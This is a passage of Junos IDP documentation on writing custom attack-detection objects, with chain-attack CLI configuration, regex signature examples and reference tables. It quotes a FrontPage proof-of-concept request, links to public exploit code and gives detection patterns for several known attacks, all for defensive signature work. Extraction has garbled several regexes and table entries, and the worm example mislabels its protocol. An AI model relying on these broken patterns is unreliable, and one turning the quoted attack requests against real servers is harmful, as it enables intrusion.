Compound or chain attack objects combine multiple signatures and protocol anomalies into a single attack object, forcing traffic to match a pattern of combined signatures and anomalies within the compound attack object before traffic is identified as an attack. Security policies use these objects to reduce false positives and increase detection accuracy. It enables you to be specific about the events that need to occur before IDP identifies traffic as an attack.

Configuration

IN THIS SECTION

Procedure | 130

Procedure

CLI Quick Configuration

To quickly configure this example, copy the following commands, paste them into a text file, remove any line breaks, change any details necessary to match your network configuration, and then copy and paste the commands into the CLI at the [edit] hierarchy level, and then enter commit from configuration mode.

```
set security idp idp-policy idpengine rulebase-ips rule 1 match from-zone any
set security idp idp-policy idpengine rulebase-ips rule 1 match source-address any
set security idp idp-policy idpengine rulebase-ips rule 1 match to-zone any
set security idp idp-policy idpengine rulebase-ips rule 1 match destination-address any
set security idp idp-policy idpengine rulebase-ips rule 1 match application default
set security idp idp-policy idpengine rulebase-ips rule 1 match attacks custom-attacks ftpchain
set security idp idp-policy idpengine rulebase-ips rule 1 then action no-action
set security idp idp-policy idpengine rulebase-ips rule 1 then notification log-attacks
set security idp active-policy idpengine
set security idp custom-attack ftpchain severity info
```

```
set security idp custom-attack ftpchain attack-type chain protocol-binding application ftp
set security idp custom-attack ftpchain attack-type chain scope session
set security idp custom-attack ftpchain attack-type chain order
set security idp custom-attack ftpchain attack-type chain member m1 attack-type signature
context ftp-banner
set security idp custom-attack ftpchain attack-type chain member m1 attack-type signature
pattern .*vsFTPd.*
set security idp custom-attack ftpchain attack-type chain member m1 attack-type signature
direction server-to-client
set security idp custom-attack ftpchain attack-type chain member m2 attack-type signature
context ftp-username
set security idp custom-attack ftpchain attack-type chain member m2 attack-type signature
pattern .*root.*
set security idp custom-attack ftpchain attack-type chain member m2 attack-type signature
direction client-to-server
set security idp custom-attack ftpchain attack-type chain member m3 attack-type anomaly test
LOGIN_FAILED
set security idp custom-attack ftpchain attack-type chain member m3 attack-type anomaly
direction any
set security idp traceoptions file idpd
set security idp traceoptions flag all
```

Step-by-Step Procedure

The following example requires you to navigate various levels in the configuration hierarchy. For instructions on how to do that, see *Using the CLI Editor in Configuration Mode* in the CLI User Guide.

To configure compound or chain attacks for specific match criteria:

1. Create an IDP policy.

```
[edit]
user@host# set security idp idp-policy idpengine
```

2. Associate a rulebase with the policy.

```
[edit security idp idp-policy idpengine]
user@host# edit rulebase-ips
```

3. Add rules to the rulebase.

```
[edit security idp idp-policy idpengine rulebase-ips]
user@host# edit rule 1
```

4. Define the match criteria for the rule.

```
[edit security idp idp-policy idpengine rulebase-ips rule 1]
user@host# set match from-zone any
user@host# set match source-address any
user@host# set match to-zone any
user@host# set match destination-address any
```

5. Specify an application set name to match the rule criteria.

```
[edit security idp idp-policy idpengine rulebase-ips rule 1]
user@host# set match application default
```

6. Specify the match attack object and name for the attack object.

```
[edit security idp idp-policy idpengine rulebase-ips rule 1]
user@host# set match attacks custom-attacks ftpchain
```

7. Specify an action for the rule.

```
[edit security idp idp-policy idpengine rulebase-ips rule 1]
user@host# set then action no-action
```

8. Specify notification or logging options for the rule.

```
[edit security idp idp-policy idpengine rulebase-ips rule 1]
user@host# set then notification log-attacks
```

9. Activate the IDP policy.

```
[edit]
user@host# set security idp active-policy idpengine
```

10. Specify a name for the custom attack.

```
[edit security idp]
user@host# set custom-attack ftpchain
```

11. Set the severity for the custom attack.

```
[edit security idp custom-attack ftpchain]
user@host# set severity info
```

12. Set the attack type and the application name for the custom attack.

```
[edit security idp custom-attack ftpchain]
user@host# set attack-type chain protocol-binding application ftp
```

13. Set the scope and the order in which the attack is defined.

```
[edit security idp custom-attack ftpchain attack-type chain]
user@host# set scope session
user@host# set order
```

14. Specify a name for the first member of the chain attack object.

```
[edit security idp custom-attack ftpchain attack-type chain]
user@host# set member m1
```

15. Set the context, pattern, and direction for the first member of the chain attack object.

```
[edit security idp custom-attack ftpchain attack-type chain member m1]
user@host# set attack-type signature context ftp-banner
```

```
user@host# set attack-type signature pattern .*vsFTPd.*
user@host# set attack-type signature direction server-to-client
```

16. Specify a name for the second member of the chain attack object.

```
[edit security idp custom-attack ftpchain attack-type chain]
user@host# set member m2
```

17. Set the context, pattern, and direction for the second member of the chain attack object.

```
[edit security idp custom-attack ftpchain attack-type chain member m2]
user@host# set attack-type signature context ftp-username
user@host# set attack-type signature pattern .*root.*
user@host# set attack-type signature direction client-to-server
```

18. Specify a name for the third member of the chain attack object.

```
[edit security idp custom-attack ftpchain attack-type chain]
user@host# set member m3
```

19. Specify an attack-type and direction for the third member of the chain attack object.

```
[edit security idp custom-attack ftpchain attack-type chain member m3]
user@host# set attack-type anomaly direction any
```

20. Specify the trace options and trace file information for the IDP services.

```
[edit]
user@host# set security idp traceoptions file idpd
```

21. Specify the events and other information which needs to be included in the trace output.

```
[edit]
user@host# set security idp traceoptions flag all
```

Results

From configuration mode, confirm your configuration by entering the show security idp command. If the output does not display the intended configuration, repeat the configuration instructions in this example to correct it.

```
[edit]
user@host# show security idp
idp-policy idpengine {
    rulebase-ips {
        rule 1 {
            match {
                from-zone any;
                source-address any;
                to-zone any;
                destination-address any;
                application default;
                attacks {
                    custom-attacks ftpchain;
                }
            }
            then {
                action {
                    no-action;
                }
                notification {
                    log-attacks;
                }
            }
        }
   }
}
active-policy idpengine;
custom-attack ftpchain {
    severity info;
    attack-type {
        chain {
            protocol-binding {
                application ftp;
            }
            scope session;
            order;
```

```
member m1 {
                attack-type {
                    signature {
                         context ftp-banner;
                         pattern .*vsFTPd.*;
                         direction server-to-client;
                    }
                }
            }
            member m2 {
                attack-type {
                    signature {
                         context ftp-username;
                         pattern .*root.*;
                         direction client-to-server;
                    }
                }
            }
            member m3 {
                attack-type {
                    anomaly {
                         test LOGIN_FAILED;
                         direction any;
                    }
                }
            }
        }
    }
}
traceoptions {
    file idpd;
    flag all;
}
```

If you are done configuring the device, enter commit from configuration mode.

When you enter commit in configuration mode, the configuration is internally verified and then committed. If there are any errors, commit will fail and the errors will be reported.

Verification

IN THIS SECTION

Verify the Configuration | 137

To confirm that the chain attack configuration is working properly, perform this task:

Verify the Configuration

Purpose

Verify that the chain attack configuration is correct.

Action

From operational mode, enter the show security idp policy-commit-status command to check the policy compilation or load status.

The output of the show security idp policy-commit-status command is dynamic, hence there is no single output for this command.

Verify that the attacks are getting detected as per the configuration, pass traffic through the device to trigger an attack match. For example, enter the show security idp status command to check whether the policy is loaded or not.

user@host> show security idp status

IDP policy[/var/db/idpd/bins/test.bin.gz.v] and detector[/var/db/idpd/sec-repository/installed-detector/libidp-detector.so.tgz.v] loaded successfully.

The loaded policy size is:785 Bytes

Enter the show security idp attack table command to pass attack traffic and then verify that the attacks are getting detected or not.

The command will display the output only when attacks are detected.

user@host> show security idp attack table

IDP attack statistics:

Attack name #Hits FTP:USER:ROOT 1

Change History Table

Feature support is determined by the platform and release you are using. Use Feature Explorer to determine if a feature is supported on your platform.

Release	Description
19.1R1	You can configure signature-based attacks by using Hyperscan extended parameters. Covert channels identification and mitigation for IPv6 extension headers is supported in IDP.
18.4R1	Starting in Junos OS Release 18.4R1, you can configure the maximum time interval between any two instances of a time binding custom attack and the range for the maximum time interval is 0 minutes and 0 seconds to 60 minutes and 0 seconds. In Junos OS releases prior to 18.4R1, the maximum time interval between any two instances of a time binding attack is 60 seconds, for the attack trigger count to reach the count configured in the time binding. The interval <code>interval-value</code> statement is introduced at the <code>[edit security idp custom-attack attack-name time-binding]</code> hierarchy to configure a custom time-binding.

RELATED DOCUMENTATION

IDP Policy Rules and IDP Rule Bases | 65

Advanced Custom Attack Object Techniques

SUMMARY

You can use pattern negation to exclude a pattern known to be safe and to match all else.

IN THIS SECTION

Custom Attack Object DFA Expressions | 139

- Pattern Negation | 141
- Example: Match File Extensions | 142
- Example: Apache Tomcat Denial-of-ServiceAttacks | 143
- IDP Test Conditions for a Specific Protocol144
- Example: UNIX CDE/dtloginVulnerability | 145
- Example: Detect a Worm | 147
- Example: Compound Signature to Detect
 Exploitation of an HTTP Vulnerability | 148
- Example: Use Time Binding Parameters to
 Detect a Brute Force Attack | 151

Custom Attack Object DFA Expressions

Table 29 on page 139 provides examples of syntax for matching an attack pattern.

Table 29: Example: Custom Attack Object Regular Expressions

Example Syntax	Description	Example Matches
Hello\B.0.100\Bworld	There are two aspects to matching: Must match the bitmask pattern: \B.0.0.100\B Must match the number of bytes (signified by .) before and after the bitmask pattern.	Matches: Hello\B.0.11100\Bworld Hello\B.0.10000\Bworld Does not match: Hello.\B.0.100\B.world Hello\B.0.111\Bworld
\X01 86 A5 00 00\X	Pattern with the five specified bytes verbatim.	01 86 A5 00 00

Table 29: Example: Custom Attack Object Regular Expressions (Continued)

Example Syntax	Description	Example Matches
(hello world)	Pattern with hello or world occurring once.	hello world
(hello world)+	Pattern with hello or world occurring one or more times.	helloworld worldhello hellohello
\[hello\]	Pattern hello, case insensitive.	hEILO HEIIO heLLO
\uHello\u	Pattern hello, Unicode insensitive.	hello 68656c6c6f
hello\sworld	Pattern hello world, the two words separated by a whitespace.	hello world
[c-e]a(d t)	Pattern with the first letter of c, d, or e; the middle letter a; and ending in d or t.	cat dad eat
[^c-d]a(d t)	Pattern that begins a letter other than c, d, or e; have the second letter a; and end in d or t.	fad zad
a*b+c	Pattern with any number of a characters (including zero); followed by one or more b characters; followed by a c character.	bc abc aaaabbbbc

Table 29: Example: Custom Attack Object Regular Expressions (Continued)

Example Syntax	Description	Example Matches
T[Kk]	Pattern that begins with an uppercase T, followed by a case-insensitive k.	TK Tk
([Tt])k	Pattern that begins with a case- insensitive t, followed by a lowercase k.	Tk Tk
Sea[In]	Pattern that begins with Sea, followed by a lowercase I, m, or n.	Seal Seam Sean
([B-D])at	Pattern that begins with an uppercase B, C, or D, followed by a lowercase at.	Bat Cat Dat
\0133\[hello\]\0135	Pattern that begins with an opening bracket, followed by case-insensitive hello, ending with a closing bracket. This expression uses the \0 expression to signify that the following expression is an octal code, then the octal code for the opening bracket (133) or the closing bracket (135) follows.	[hello]

Pattern Negation

For example, suppose you are designing an attack object to inspect traffic to an FTP server. You know that account username and passwords are well maintained to ensure that only authorized users can access internal resources. However, as networks grow and new components are added, user accounts

can proliferate, thereby increasing network access to specific components. In this example, you have an FTP server on your internal network that has multiple user accounts enabled. To improve security, you want to restrict access to the FTP administrator.

You create an attack object for the FTP service, ftp-username context, and pattern **admin**; and you select the **Negate** check box. The result is an attack object that can flag login attempts by users other than **admin**. You can use this attack object in a rule that logs or drops matching traffic.

SEE ALSO

Create a Compound Attack Object

Example: Match File Extensions

In this example, you want to detect Microsoft Windows metafiles, which use the extensions .emf (Windows Enhanced Metafiles) and .wmf (Microsoft Windows Metafile).

To match either of these file types, use a simple DFA expression:

.*\.\[w|emf\]

In this expression:

- The period combined with the asterisk (.*) indicates that one or more characters must appear (wildcard match).
- The backslash combined with the period character (\.) indicates that the period character is escaped (the period appears in the pattern).
- The parentheses at the beginning and end of the expression () indicate a group. The pipe character between the e and the w (e|w) indicates an OR relationship between the characters. For this expression, e or w must appear in the pattern to match this expression; only one must be present.
- The opening bracket (\[) indicates the beginning of a case-insensitive match for all characters until the closing bracket (\]) appears.
- The closing bracket (\]) indicates the ending of a case-insensitive match.

SEE ALSO

Create a Compound Attack Object

Example: Apache Tomcat Denial-of-Service Attacks

In this example, we assume you have a Web Server running Apache Tomcat. Your security administrator notifies you that a vulnerability has just been announced for Apache Tomcat, and you decide to create a custom attack object to protect your network until you can schedule downtime to patch the server.

The CVE advisory for the vulnerability (http://nvd.nist.gov/nvd.cfm?cvename=CAN-2002-0682) contains the following quotation:

A cross-site scripting vulnerability in Apache Tomcat 4.0.3 allows remote attackers to execute script as other web users via script in a URL with the /servlet/ mapping, which does not filter the script when an exception is thrown by the servlet.

From this information, you know that the attack uses HTTP. Now you must locate the attack code. The advisory also includes references that link to more information about the attack. Unfortunately, none of the referenced Web pages contain exploit code. After searching the Web using the information you learned from the CVE advisory, you locate some exploit code at http://packetstormsecurity.nl/0210-exploits/neuter.c. Copy the script and move it to the attacker computer in your test lab.

To develop this attack object:

- **1.** Reproduce the attack to determine the attack context, direction, and pattern. Ideally, use scio ccap and Wireshark concurrently so you have to run the attack only once.
- **2.** Discover the following elements of the attack signature:
 - Service. You know from the CVE advisory that the attack uses the HTTP protocol. Review the packet capture to confirm the protocol.
 - Context. Use scio ccap to determine whether you can match a particular service context. In this example, the signature pattern occurs in the service context HTTP URL Parsed.
 - Pattern. You know from the advisory that the attack occurs using an exploited GET method in the HTTP protocol. Select the frame that contains the GET method to view details for that section of the packet. You can quickly identify the signature pattern as examples/servlet/AUX.
 - Direction. Locate the source IP that initiated the session. Because this attack uses TCP, you can
 use the Follow TCP Stream option in Wireshark to quickly discover the source IP that initiated the
 session. The attack direction is client-to-server.

3. Create an attack object to match the attack signature. This example uses the following regular expression to match the signature:

```
.*/examples/servlet/AUX|LPT1|CON|PRN.*
```

In this expression:

- The dot star combination (.*) indicates a wildcard match.
- The /examples/servlet/ section is taken directly from the packet capture.
- The parentheses () indicate a group of items, and the pipe character (|) indicates OR. These characters are often used together to indicate that an attack must include one item from the group. In this example, the attack must contain the word aux, lpt1, con, or prn after the string / examples/servlet/.

Notice that this example uses a group. The packet capture displays the signature pattern as / examples/servlet/AUX. AUX is a Windows device. You have good reason to be on guard for attempts to exploit LPT1, CON, and PRN devices.

4. Test the attack object.

SEE ALSO

Test a Custom Attack Object

IDP Test Conditions for a Specific Protocol

When configuring IDP custom attacks, you can specify a list of test conditions for a specific protocol. To list test conditions for ICMP:

1. List supported test conditions for ICMP and choose the one you want to configure. The supported test conditions are available in the CLI at the [edit security idp custom-attack test1 attack-type anomaly] hierarchy level.

DIFF_CHECKSUM_IN_RESEND DIFF_CHECKSUM_IN_RESPONSE DIFF_LENGTH_IN_RESEND

2. Configure the service for which you want to configure the test condition.

user@host# set service ICMP

3. Configure the test condition (specifying the protocol name is not required).

user@host# set test ADDRESSMASK_REQUEST

4. If you are done configuring the device, enter commit from configuration mode.

Example: UNIX CDE/dtlogin Vulnerability

In this example, your network includes several user workstations and servers running UNIX. Many UNIX operating systems use the Common Desktop Environment (CDE) as a graphical user interface. Your security administrator notifies you of a new vulnerability in the dtlogin process for CDE (the dtlogin process handles a GUI login process to CDE).

The CERT advisory for the vulnerability (http://www.kb.cert.org/vuls/id/179804) contains the following information:

...The dtlogin program contains a "double-free" vulnerability that can be triggered by a specially crafted X Display Manager Control Protocol (XDMCP) packet... Block XDMCP traffic (177/udp) from untrusted networks such as the Internet...

From this information, you know that the attack uses XDMCP protocol packet, and runs on UDP/177. Now you must locate the attack code. The advisory also includes references that link to more information about the attack. One reference, http://lists.immunitysec.com/pipermail/dailydave/2004-March/000402.html, indicates that the person who first reported the attack has also written a script that replicates the attack. Obtain the script and move it to the attacker computer in your test lab.

To develop this attack object:

1. Reproduce the attack to determine the attack context, direction, and pattern. Ideally, use scio ccap and Wireshark concurrently so you have to run the attack only once.

- **2.** Discover the elements of the attack signature:
 - Service. You know from the CERT advisory that the attack uses the XDMCP protocol. Review the packet capture in Wireshark to confirm the protocol.
 - Context. Use scio ccap to determine whether you can match a particular service context. In this example, the XMCP service contexts are not supported by the IDP system, and the output of scio ccap is blank. You must specify the packet context for the attack.
 - Pattern. Using your knowledge of the XDMCP protocol, you identify that the attack uses a non-NUL character (hexadecimal code 00 1b) to specify the connection type, which is invalid (the NUL character represents the Internet connection type in XDMCP). To anchor the non-NUL character in a signature pattern, include some of the preceding bytes as part of the pattern. For this example, you choose to anchor the non-NUL character with the version number (hexadecimal code 00 01) and the request options code (hexadecimal code 00 07). The full attack pattern is 00 01 00 07 followed by five characters of any type, followed by a sixth character and either a non-NUL character (as shown above with 00 1b) or a non-NUL character and another character.
 - Direction. Locate the source IP that initiated the session. In this example, you cannot determine the attack direction.
- **3.** Create an attack object to match the attack signature. Use the following regular expression to match the signature:

```
\x00 01 00 07\x....(.[^\000]|[^\000]..*
```

In this expression:

- The \x expression indicates a hexadecimal value.
- The numbers 00 01 00 07 in the XDMP protocol represent the version number (hexadecimal code 00 01 and the request options code (hexadecimal code 00 07).
- The five periods (.....) indicate five characters of any kind.
- The parentheses () indicates a group of items, and the pipe character (|) indicates OR. These characters are often used together to indicate that an attack must include one item from the group.
- The opening and closing brackets combined with a caret [^ indicates negation.
- The backslash combined with a zero (\0) indicates an octal code number.
- The 00 characters are hexadecimal code for a NUL character. In this example, the attack must contain a non-NUL character, either preceded or followed by another character ([^\000] or [^ \000]).

- The dot star combination (.*) indicates a wildcard match. When used at the end of an expression, the wildcard indicates that anything can follow the specified expression.
- **4.** Test the attack object.

SEE ALSO

Test a Custom Attack Object

Example: Detect a Worm

Worms and Trojans often bypass firewalls and other traditional security measures to enter a network. In this example, you create a custom attack object to detect the Blaster worm on your network.

The CERT advisory (http://www.cert.org/advisories/CA-2003-20.html) for the Blaster worm gives the following information:

The W32/Blaster worm exploits a vulnerability in Microsoft's DCOM RPC interface..."

From this information, you know that the attack uses DCOM exploit, a previously identified security hole. Now you must locate the attack code. The advisory also includes references that link to more information about the attack. Unfortunately, none of the referenced Web pages contain exploit code. After searching the Web using the information you learned from the CERT advisory, you locate exploit code on PacketStorm (http://packetstormsecurity.com/0307-exploits/dcom.c).

To develop this attack object:

- **1.** Reproduce the attack to determine the attack context, direction, and pattern. Ideally, use scio ccap and Wireshark concurrently so you have to run the attack only once.
- **2.** Discover the elements of the attack signature:
 - Service. You know from the CERT advisory that the attack uses ICMP, for which the IDP OS does
 not support service contexts. Review the packet capture to confirm the protocol as ICMP.
 - Context. Use scio ccap to determine whether we can match a particular service context. In this example, the ICMP service contexts are not supported by the IDP system, and the output of scio ccap is blank. You must specify the first packet context for the attack.
 - Pattern. Select the first frame listed in Wireshark and review the information in the second section. Because you know that ICMP packets should not contain data, you investigate the 64 byte data payload. You can easily see the irregular payload is multiple "AA" characters, which is

probably code attempting to overflow a buffer. Because this pattern is unusual in the context of an ICMP packet, select it as your signature.

- Direction. Locate the source IP that initiated the session. In this example, you cannot determine the attack direction.
- **3.** Create an attack object to match the attack signature. In this example, we use the following regular expression to match the signature:

In this expression:

- The \X expression indicates that a hexadecimal value is to follow.
- The dot star combination (.*) indicates a wildcard match. When used at the end of an expression, the wildcard indicates that anything can follow the specified expression.
- **4.** Test the attack object.

SEE ALSO

Test a Custom Attack Object

Example: Compound Signature to Detect Exploitation of an HTTP Vulnerability

Some attacks are crafted to appear benign when viewed at a packet-by-packet level. For these attacks, you can create a compound signature that detects multiple signature patterns in multiple contexts (service, nonservice, or both).

In this example, you have a Web server that uses Microsoft FrontPage Server extensions. Your security administrator notifies you of a new buffer overflow vulnerability in the FrontPage Server extensions.

The BugTraq advisory for the vulnerability (http://www.securityfocus.com/bid/9007/discussion/) contains the following information:

```
Microsoft FrontPage Server Extensions are prone to a remotely exploitable buffer overrun vulnerability ... It is possible to trigger this condition with a chunked-encoded HTTP POST request...
```

The following proof-of-concept example is also provided:

```
POST /_vti_bin/_vti_aut/fp30reg.dll HTTP/1.1
Transfer-Encoding: chunked
PostLength
PostData
0
```

Additionally, a link to the compiled exploit is included.

From this information, you know that the attack uses the HTTP protocol and that at least part of the attack uses the POST method. Use the link to the compiled exploit to obtain the script, and move it to the attacker computer in your test lab.

To develop this attack object:

- **1.** Reproduce the attack to determine the attack context, direction, and pattern. Ideally, use scio ccap and Wireshark concurrently so you only have to run the attack only once.
- **2.** Discover the elements of the attack signature:
 - Service. You know from the BugTraq advisory that the attack uses the HTTP protocol. Review the packet capture and locate the HTTP protocol usage.
 - Context. Use scio ccap to determine whether you can match a particular service context. In this example, the service context is HTTP URL Parsed.
 - Pattern. You quickly identify the signature pattern POST /_vti_bin/_vti_aut/fp30reg.dll within the HTTP service.
 - However, because this pattern might trigger false positives, you also determine a second signature pattern to ensure that your rule detects only the attack. In this case, the second signature (noted in the BugTraq advisory) is Transfer-Encoding: chunked.
 - Direction. Locate the source IP that initiated the session. In this example, the attack direction for both signature patterns is client-to-server.

3. Create an attack object to match the attack signature. Use the following regular expression to match the first signature:

```
\[/_vti_bin/_vti_aut/fp30reg\.dll\].*
```

In this expression:

- The opening bracket (\[) indicates the beginning of a case-insensitive match for all characters until the closing bracket appears.
- The pattern /_vti_bin/_vti_aut/fp30reg is a direct character match.
- The backslash combined with the period (\.) indicates that the period is escaped (the period appears in the pattern).
- The closing bracket (\]) indicates the end of a case-insensitive match.
- The period combined with the asterisk character (.*) indicates that one or more characters must appear.
- **4.** Add a second signature. Use the following regular expression to match the second signature:

```
\[Transfer-Encoding: +chunked\]
```

In this expression:

- The opening bracket (\[) indicates the beginning of a case-insensitive match for all characters until the closing bracket appears.
- The pattern Transfer-Encoding: is a direct character match.
- The plus sign (+) indicates that a space character must appear one or more times within the pattern.
- The pattern chunked is a direct character match.
- The closing bracket (\]) indicates the end of a case-insensitive match.
- **5.** Test the attack object.

SEE ALSO

Test a Custom Attack Object

Example: Use Time Binding Parameters to Detect a Brute Force Attack

The time binding constraint requires the pattern to occur a certain number of times within a minute in order for the traffic to be considered a match.

You can use the time binding parameter along with the signature to detect signs of a brute force attack. A user changing her password is a harmless event, and is normally seen occasionally on the network. However, thousands of password changes in a minute is suspicious.

In a brute force attack, the attacker attempts to break through system defenses using sheer force, typically by overwhelming the destination server capacity or by repeated, trial-and-error attempts to match authentication credentials. In a brute force login attack, the attackers first gather a list of usernames and a password dictionary. Next, the attacker uses a tool that enters the first password in dictionary for the first user in the list, then tries every password for every user until it gets a match. If the attacker tries every combination of usernames and passwords, they always succeed. However, brute force attacks often fail because the password dictionary is typically limited (does not contain all possible passwords) and the attack tool does not perform permutations on the password (such as reversing letters or changing case).

In this example, you create a signature attack object that detects an excessive number of password changes for users authenticated via HTTP (a Web-based application).

First, you configure an attack pattern:

.*/\[changepassword\.cgi\]

In this expression:

- The dot star combination (.*) indicates a wildcard match.
- The backslash before a character indicates that the character represents a regular expression and must be escaped. In this case, the character is an opening bracket. The backslash is also used in this expression before the file extension marker (the dot) and before the closing bracket.
- The name of the cgi script that is used to change user passwords is included, as well as the cgi
 extension.
- For context, select HTTP-URL-PARSED from the list because you are attempting to detect password
 changes that occur for Web-based applications. The changepassword.cgi script, when used, appears
 as part of the URL, but you need to tell the IDP Series device to parse the URL in order to find the
 name.

Next, you configure time binding.

In these settings:

- Scope is set to **Peer** so the attack pattern can match the event regardless of source or destination.
- Count is set to high number (to 1000) to avoid false positives. This value means that the changepassword.cgi script must appear in a URL 1000 times before the attack object is matched.

SEE ALSO

Create a Compound Attack Object

Test a Custom Attack Object

Reference Materials

SUMMARY

ASCII characters are categorized into printable and non-printable (control) characters.

IN THIS SECTION

- Reference: Custom Attack Object ProtocolNumbers | 152
- Reference: Nonprintable and Printable ASCII Characters | 162

Reference: Custom Attack Object Protocol Numbers

Table 30 on page 152 protocol numbers used in the IDP system.

Table 30: IDP Attack Objects: Protocol Numbers

Protocol Name	Protocol Number
НОРОРТ	0
ICMP	1

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
IGMP	2
GGP	3
IPIP	4
ST	5
ТСР	6
СВТ	7
EGP	8
IGP	9
BBN-RCC-MON	10
NVP-II	11
PUP	12
ARGUS	13
EMCON	14
XNET	15
CHAOS	16

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
UDP	17
MUX	18
DCN-MEAS	19
НМР	20
PRM	21
XND-IDP	22
TRUNK-1	23
TRUNK-2	24
LEAF-1	25
LEAF-2	26
RDP	27
IRTP	28
ISO-TP4	29
NETBLT	30
MFE-NSP	31

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
MERIT-INP	32
SEP	33
3PC	34
IDPR	35
XTP	36
DDP	37
TP_PLUS_PLUS	39
IL	40
IPV6	41
SDRP	42
IPV6-ROUTING	43
IDV6-FRAGMENT	44
IDRP	45
RSVP	46
GRE	47

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
MHRP	48
BNA	49
ESP	50
АН	51
I-NLSP	52
SWIPE	53
NARP	54
MOBILE	55
TLSP	56
SKIP	57
IPV6-ICMP	58
IPV6-NONXT	59
IPV6-OPTS	60
AHIP	61
CFTP	62

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
ALNP	63
SAT-EXPAK	64
KRYPTOLAN	65
RVD	66
IPPC	67
ADFSP	68
SAT-MON	69
VISA	70
IPCV	71
CPNX	72
СРНВ	73
WSN	74
PVP	75
BR-SAT-MON	76
SUN-ND	77

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
WB-MON	78
WB-EXPAK	79
ISO-IP	80
VMTP	81
SECURE-VMTP	82
VINES	83
TTP	84
NSFNET-IBP	85
DGP	86
TCF	87
EIGRP	88
OSPFIGP	89
SPRITE-RPC	90
LARP	91
MTP	92

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
AX_25	93
IPIP	94
MICP	95
SCC-SP	96
ETHERIP	97
ENCAP	98
APES	99
GMTP	100
IFMP	101
PNNI	102
PIM	103
ARIS	104
SCPS	105
QNX	106
A/N	107

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
IPCOMP	108
SNP	109
COMPAT-PEER	110
IPZ-IN-IP	111
VRRP	112
PGM	113
HOP-O	114
L2TP	115
DDX	116
IATP	117
STP	118
SRP	119
UTI	120
SMP	121
SSM	122

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
РТР	123
ISIS	124
FIRE	125
CRTP	126
CRUDP	127
SSCOPMCE	128
IPLT	129
SPS	130
PIPE	131
SCTP	132
FC	133
RSVP-E2E-IGNORE	134
n/a	
n/a	
n/a	

Table 30: IDP Attack Objects: Protocol Numbers (Continued)

Protocol Name	Protocol Number
RESERVED	255

Reference: Nonprintable and Printable ASCII Characters

The following tables provide details on ASCII representation of nonprintable and printable characters.

Table 31: ASCII Reference: Nonprintable Characters

Dec	Hex	Oct	Char	Comment
0	0	000	NUL	Null
1	1	001	SOH	Start of Heading
2	2	002	STX	Start of Text
3	3	003	ETX	End of Text
4	4	004	ЕОТ	End of Transmission
5	5	005	ENQ	Enquiry
6	6	006	ACK	Acknowledge
7	7	007	BEL	Bell
8	8	010	BS	Backspace
9	9	011	TAB	Horizontal Tab

Table 31: ASCII Reference: Nonprintable Characters (Continued)

Dec	Hex	Oct	Char	Comment
10	А	012	LF	Line Feed
11	В	013	VT	Vertical Tab
12	С	014	FF	Form Feed
13	D	015	CR	Carriage Return
14	Е	016	SO	Shift Out
15	F	017	SI	Shift In
16	10	020	DLE	Data Link Escape
17	11	021	DC1	Device Control 1
18	12	022	DC2	Device Control 2
19	13	023	DC3	Device Control 3
20	14	024	DC4	Device Control 4
21	15	025	NAK	Negative Acknowledgement
22	16	026	SYN	Synchronous Idle
23	17	027	ЕТВ	End of Transmission Block
24	18	030	CAN	Cancel

Table 31: ASCII Reference: Nonprintable Characters (Continued)

Dec	Hex	Oct	Char	Comment
25	19	031	EM	End of Medium
26	1A	032	SUB	Substitute
27	1B	033	ESC	Escape
28	1C	034	FS	File Separator
29	1D	035	GS	Group Separator
30	1E	036	RS	Record Separator
31	1F	037	US	Unit Separator

Table 32: ASCII Reference: Printable Characters

Dec	Hex	Oct	Char
32	20	040	Space
33	21	041	!
34	22	042	
35	23	043	#
36	24	044	\$
37	25	045	%
38	26	046	&

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Hex	Oct	Char
39	27	047	
40	28	050	(
41	29	051)
42	2A	052	*
43	2B	053	+
44	2C	054	,
45	2D	055	-
46	2E	056	
47	2F	057	/
48	30	060	0
49	31	061	1
50	32	062	2
51	33	063	3
52	34	064	4
53	35	065	5

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Нех	Oct	Char
54	36	066	6
55	37	067	7
56	38	070	8
57	39	071	9
58	3A	072	:
59	3B	073	;
60	3C	074	<
61	3D	075	=
62	3E	076	>
63	3F	077	?
64	40	100	@
65	41	101	A
66	42	102	В
67	43	103	С
68	44	104	D

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Hex	Oct	Char
69	45	105	Е
70	46	106	F
71	47	107	G
72	48	110	Н
73	49	111	1
74	4A	112	J
75	4B	113	К
76	4C	114	L
77	4D	115	М
78	4E	116	N
79	4F	117	0
80	50	120	Р
81	51	121	Q
82	52	122	R
83	53	123	S

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Hex	Oct	Char
'84	54	124	Т
85	55	125	U
86	56	126	V
87	57	127	W
88	58	130	х
89	59	131	Υ
90	5A	132	Z
91	5B	133]
92	5C	134	\
93	5D	135]
94	5E	136	۸
95	5F	137	-
96	60	140	,
97	61	141	a
98	62	142	b

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Hex	Oct	Char
99	63	143	С
100	64	144	d
101	65	145	е
102	66	146	f
103	67	147	g
104	68	150	h
105	69	151	I
106	6A	152	j
107	6B	153	k
108	6C	154	I
109	6D	155	m
110	6E	156	n
111	6F	157	О
112	70	160	р
113	71	161	q

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Hex	Oct	Char
114	72	162	r
115	73	163	S
116	74	164	t
117	75	165	u
118	76	166	v
119	77	167	w
120	78	170	х
121	79	171	у
122	7A	172	z
123	7B	173	{
124	7C	174	I
125	7D	175	}
126	7E	176	~
127	7F	177	DEL
128	80	200	Ç

Table 32: ASCII Reference: Printable Characters (Continued)

Dec	Hex	Oct	Char
129	81	201	ü
130	82	202	é
131	83	203	â
132	84	204	ä
133	85	205	à
134	86	206	å
135	87	207	ç
136	88	210	ê
137	89	211	ë
138	8A	212	è
139	8B	213	ï
140	8C	214	î
141	8D	215	ì
